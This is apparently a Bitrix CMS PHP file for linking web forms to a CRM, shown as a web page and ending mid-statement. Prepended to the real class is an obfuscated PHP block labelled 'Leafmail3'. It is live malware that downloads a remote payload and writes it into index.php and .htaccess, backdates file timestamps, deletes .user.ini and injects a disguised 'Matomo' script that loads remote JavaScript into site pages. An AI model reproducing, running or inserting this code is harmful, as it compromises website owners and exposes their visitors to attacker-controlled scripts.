Your IP : 18.226.94.242
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
abstract class CAllFormCrm
{
const LINK_AUTO = 'A';
const LINK_MANUAL = 'M';
private static $_ob;
abstract public static function GetList($arOrder = array(), $arFilter = array(), $arGroupBy = false, $arNavStartParams = false, $arSelectFields = array());
public static function GetByID($ID)
{
return CFormCrm::GetList(array(), array('ID' => intval($ID)));
}
public static function GetByFormID($FORM_ID)
{
$query = "SELECT fcl.*
FROM b_form_crm_link fcl
LEFT JOIN b_form_crm fc ON fc.ID=fcl.CRM_ID
WHERE fcl.FORM_ID='".intval($FORM_ID)."' AND fc.ACTIVE='Y'";
return $GLOBALS['DB']->Query($query);
}
public static function GetFields($LINK_ID)
{
$query = "SELECT FIELD_ID, FIELD_ALT, CRM_FIELD FROM b_form_crm_field WHERE LINK_ID='".intval($LINK_ID)."'";
return $GLOBALS['DB']->Query($query);
}
private static function _addField($FORM_ID, $CRM_ID, $crm_field)
{
if (!self::$_ob)
self::$_ob = new CFormCrmSender($CRM_ID);
$arFields = self::$_ob->GetFields();
foreach ($arFields as $arFld)
{
if ($arFld['ID'] == $crm_field)
{
$arAnswer = array();
switch ($arFld['TYPE'])
{
case 'enum':
if (is_array($arFld['VALUES']))
{
foreach ($arFld['VALUES'] as $arValue)
{
$arAnswer[] = array(
'MESSAGE' => $arValue['NAME'],
'VALUE' => $arValue['ID'],
'FIELD_TYPE' => 'dropdown',
'ACTIVE' => 'Y',
);
}
}
break;
case 'boolean':
$arAnswer[] = array(
'MESSAGE' => ' ',
'FIELD_TYPE' => 'checkbox',
'ACTIVE' => 'Y',
);
break;
default:
$arAnswer[] = array(
'MESSAGE' => ' ',
'FIELD_TYPE' => 'text',
'ACTIVE' => 'Y',
);
}
return CFormField::Set(array(
'SID' => $crm_field,
'FORM_ID' => $FORM_ID,
'ACTIVE' => 'Y',
'TITLE' => $arFld['NAME'],
'REQUIRED' => $arFld['REQUIRED'] == 'true' ? 'Y' : 'N',
'arANSWER' => $arAnswer
));
}
}
}
public static function SetForm($FORM_ID, $arParams)
{
global $DB;
$FORM_ID = intval($FORM_ID);
if ($FORM_ID > 0)
{
$dbRes = self::GetByFormID($FORM_ID);
$arLink = $dbRes->Fetch();
if (is_array($arLink))
{
$DB->Query("DELETE FROM b_form_crm_field WHERE LINK_ID='".intval($arLink['ID'])."'");
}
$arParams['CRM_ID'] = intval($arParams['CRM_ID']);
if ($arParams['CRM_ID'] <= 0)
{
if (is_array($arLink))
{
$DB->Query("DELETE FROM b_form_crm_link WHERE ID='".intval($arLink['ID'])."'");
}
}
else
{
$arLinkFields = array(
'FORM_ID' => $FORM_ID,
'CRM_ID' => $arParams['CRM_ID'],
'LINK_TYPE' => $arParams['LINK_TYPE'] == self::LINK_MANUAL ? self::LINK_MANUAL : self::LINK_AUTO,
);
if (is_array($arLink))
{
$strUpdate = $DB->PrepareUpdate('b_form_crm_link', $arLinkFields);
$query = "UPDATE b_form_crm_link SET ".$strUpdate." WHERE ID='".intval($arLink['ID'])."'";
$dbRes = $DB->Query($query);
if ($dbRes)
$arLinkFields['ID'] = $arLink['ID'];
}
else
{
$arLinkFields['ID'] = $DB->Add('b_form_crm_link', $arLinkFields);
}
if ($arLinkFields['ID'] > 0)
{
if (is_array($arParams['CRM_FIELDS']) && is_array($arParams['FORM_FIELDS']))
{
$arMap = array();
foreach ($arParams['CRM_FIELDS'] as $key => $crm_field)
{
$form_field = $arParams['FORM_FIELDS'][$key];
if (strlen($crm_field) > 0 && strlen($form_field) > 0 && !array_key_exists($crm_field, $arMap))
{
$arMap[$crm_field] = true;
$arFields = array(
'LINK_ID' => $arLinkFields['ID'],
'CRM_FIELD' => $crm_field
);
if (intval($form_field) > 0)
$arFields['FIELD_ID'] = $form_field;
elseif ($form_field == 'NEW')
$arFields['FIELD_ID'] = self::_addField($FORM_ID, $arParams['CRM_ID'], $crm_field);
else
$arFields['FIELD_ALT'] = $form_field;
$DB->Add('b_form_crm_field', $arFields);
}
}
}
}
}
}
}
public static function onResultAdded($FORM_ID, $RESULT_ID)
{
$dbRes = CFormCrm::GetByFormID($FORM_ID);
$arLink = $dbRes->Fetch();
if (is_array($arLink) && $arLink['LINK_TYPE'] == self::LINK_AUTO)
{
self::AddLead($FORM_ID, $RESULT_ID, $arLink);
}
}
public static function AddLead($FORM_ID, $RESULT_ID, $arLink = null)
{
$FORM_ID = intval($FORM_ID);
$RESULT_ID = intval($RESULT_ID);
if ($FORM_ID <= 0 || $RESULT_ID <= 0)
return false;
if (!is_array($arLink))
{
$dbRes = CFormCrm::GetByFormID($FORM_ID);
$arLink = $dbRes->Fetch();
}
if (!$arLink)
return false;
$arResultFields = array();
$arAnswers = array();
CFormResult::GetDataByID($RESULT_ID, array(), $arResultFields, $arAnswers);
$ob = new CFormCrmSender($arLink['CRM_ID']);
$arCrmF = $ob->GetFields();
$arCrmFields = array();
foreach ($arCrmF as $ar)
$arCrmFields[$ar['ID']] = $ar;
$arLeadFields = array();
$dbRes = CFormCrm::GetFields($arLink['ID']);
while ($arRes = $dbRes->Fetch())
{
if (intval($arRes['FIELD_ID']) > 0)
{
$bFound = false;
foreach ($arAnswers as $sid => $arAnswer)
{
foreach ($arAnswer as $answer_id => $arAns)
{
if ($arAns['FIELD_ID'] == $arRes['FIELD_ID'])
{
$bFound = true;
if ($arCrmFields[$arRes['CRM_FIELD']])
{
$value = '';
switch ($arCrmFields[$arRes['CRM_FIELD']]['TYPE'])
{
case 'enum':
$value = $arAns['ANSWER_TEXT'];
break;
case 'boolean':
$value = 'Y';
break;
default:
$value = (strlen($arAns['USER_TEXT']) > 0
? $arAns['USER_TEXT']
: (
strlen($arAns['ANSWER_TEXT']) > 0
? $arAns['ANSWER_TEXT']
: $arAns['VALUE']
)
);
break;
}
if($arCrmFields[$arRes['CRM_FIELD']]['MULTIPLE'] === "true")
{
$arLeadFields[$arRes['CRM_FIELD']] .=
